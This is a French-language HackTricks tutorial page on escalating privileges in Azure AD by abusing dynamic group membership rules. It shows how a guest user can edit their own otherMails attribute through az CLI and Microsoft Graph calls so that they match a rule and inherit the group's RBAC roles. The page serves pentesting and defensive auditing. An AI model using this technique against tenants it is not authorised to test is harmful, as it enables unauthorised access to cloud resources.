Az - Dynamic Groups Privesc

Reading time: 3 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

Les dynamic groups sont des groupes qui ont un ensemble de règles configurées et tous les utilisateurs ou appareils qui correspondent aux règles sont ajoutés au groupe. Chaque fois qu'un attribut d'utilisateur ou d'appareil est modifié, les règles dynamiques sont vérifiées à nouveau. Et lorsqu'une nouvelle règle est créée, tous les appareils et utilisateurs sont vérifiés.

Les groupes dynamiques peuvent avoir des rôles Azure RBAC assignés à eux, mais il est impossible d'ajouter des rôles AzureAD aux groupes dynamiques.

Cette fonctionnalité nécessite une licence Azure AD premium P1.

Privesc

Notez qu'en default, tout utilisateur peut inviter des invités dans Azure AD, donc, si une règle de groupe dynamique donne des permissions aux utilisateurs en fonction des attributs qui peuvent être définis dans un nouvel invité, il est possible de créer un invité avec ces attributs et escalader les privilèges. Il est également possible pour un invité de gérer son propre profil et de modifier ces attributs.

Obtenez les groupes qui permettent l'adhésion dynamique : az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table

Exemple

  • Exemple de règle : (user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")
  • Description de la règle : Tout utilisateur invité avec un email secondaire contenant la chaîne 'security' sera ajouté au groupe

Pour l'email de l'utilisateur invité, acceptez l'invitation et vérifiez les paramètres actuels de cet utilisateur dans https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView.
Malheureusement, la page ne permet pas de modifier les valeurs des attributs, donc nous devons utiliser l'API :

bash
# Login with the gust user
az login --allow-no-subscriptions

# Get user object ID
az ad signed-in-user show

# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'

# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks